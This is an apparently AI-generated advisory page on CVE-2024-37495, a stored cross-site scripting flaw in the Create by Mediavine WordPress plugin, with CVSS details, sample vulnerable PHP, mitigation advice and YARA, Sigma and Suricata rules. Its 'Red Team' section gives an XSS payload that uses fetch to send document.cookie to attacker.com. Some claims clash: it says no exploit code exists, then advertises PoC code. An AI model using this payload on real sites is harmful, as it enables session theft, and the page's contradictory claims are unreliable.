CVE-2024-37495
Executive Summary
CVE-2024-37495 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Create by Mediavine WordPress plugin, versions 1.9.7 and earlier. This flaw allows an unauthenticated attacker to inject arbitrary web scripts or HTML into pages generated by the plugin. When a victim (e.g., an administrator or site visitor) views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the plugin’s role in content creation and media management, this poses a significant risk to WordPress sites using it.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users must update the plugin to a patched version once released. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must view the crafted page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the plugin’s popularity in the WordPress ecosystem elevate the risk. Stored XSS can be leveraged for persistent attacks.
Deep Dive & Mechanics
The vulnerability exists in the mediavine-create plugin’s handling of user-supplied data, likely within shortcodes, custom fields, or AJAX endpoints. The plugin fails to sanitize or escape input before rendering it in the browser. An attacker can inject malicious JavaScript or HTML via:
- Post/Page Content: Submitting crafted input through the WordPress editor or REST API.
- Plugin Settings: If the plugin stores user input without sanitization.
- Shortcode Attributes: Exploiting shortcodes that accept user-controlled parameters.
The injected payload is stored in the WordPress database and executed when the page is loaded by any user, including administrators. This can lead to:
- Session Hijacking: Stealing cookies to impersonate users.
- Credential Theft: Phishing for login credentials.
- Defacement: Altering page content.
- Malware Distribution: Redirecting users to malicious sites.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is described generically:
Vulnerable Code (PHP):
function create_shortcode_output($atts) {
$title = $atts['title'];
return "<div class='create-item'>$title</div>";
}
add_shortcode('create_item', 'create_shortcode_output');
Patched Code (Hypothetical):
function create_shortcode_output($atts) {
$title = esc_html($atts['title']);
return "<div class='create-item'>$title</div>";
}
add_shortcode('create_item', 'create_shortcode_output');
The patched version uses esc_html() to escape output, preventing XSS.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with Create by Mediavine <= 1.9.7 installed.
- Ability to submit content (e.g., via comment, post, or custom field).
Exploit Steps:
- Identify an input field that is not sanitized (e.g., a shortcode attribute or custom field).
- Inject a payload such as:
or a more sophisticated payload:<script>alert('XSS')</script><img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Submit the content.
- When an administrator or visitor views the page, the script executes.
No public exploit code is available for this CVE.
Blue Team (Defense & Detection)
Mitigation Steps:
- Immediately disable the plugin if no patch is available.
- Implement a Web Application Firewall (WAF) with rules to block common XSS patterns.
- Use Content Security Policy (CSP) headers to restrict script execution.
- Monitor logs for unusual input patterns (e.g.,
<script>,onerror).
Detection:
- Look for HTTP requests containing XSS payloads in POST data or URL parameters.
- Monitor for unexpected JavaScript execution in the browser.
Indicators of Compromise (IOCs)
- File Hashes: (None available)
- Network Indicators:
- Outbound connections to attacker-controlled domains (e.g.,
attacker.com). - HTTP requests containing
<script>tags or event handlers.
- Outbound connections to attacker-controlled domains (e.g.,
- Log Entries:
- WordPress debug logs showing unescaped output.
- Web server logs with XSS payloads in request bodies.
- Behavioral:
- Unexpected pop-ups or redirects on WordPress pages.
- Unauthorized admin user creation.
Detection Engineering
YARA Rule
rule Detect_Mediavine_Create_XSS {
meta:
description = "Detects potential XSS payloads targeting Create by Mediavine plugin"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-37495"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
$xss3 = /javascript\s*:/is
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: Potential XSS in Create by Mediavine Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing XSS payloads targeting the plugin
author: Valters IT
date: 2024/10/27
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in content
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-37495 - XSS in Create by Mediavine"; flow:to_server,established; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Apply virtual patching via WAF rules to block XSS payloads.
- Audit all content created with the plugin for malicious injections.
Long-Term Fix:
- Update to a patched version once released by Mediavine.
- Implement input validation and output escaping in custom code.
- Regularly update all WordPress plugins and themes.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.